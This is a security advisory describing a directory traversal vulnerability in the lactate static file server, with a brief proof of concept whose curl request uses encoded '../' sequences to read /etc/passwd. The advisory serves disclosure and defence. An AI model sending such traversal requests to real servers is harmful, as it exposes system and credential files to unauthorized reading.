    Directory Traversal

    lactate is a static file handler.

    Affected versions of this package are vulnerable to Directory Traversal.

    An attacker may use a specially crafted GET request and traverse the directory structure of a host using the lactate web server package, allowing them read access to arbitrary files outside of the specified web root.

    Mitigating factors: Only files that the user running lactate has permission to read will be accessible via this vulnerability.

    Proof of concept by Yasin Soliman:

    • Globally install the lactate package and cd to a directory you wish to serve assets from.
    • Run lactate -p 8081 to start serving files from this location.
    • Running the following cURL request:
    curl "http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    How to fix Directory Traversal?

    There is no fix version for lactate.
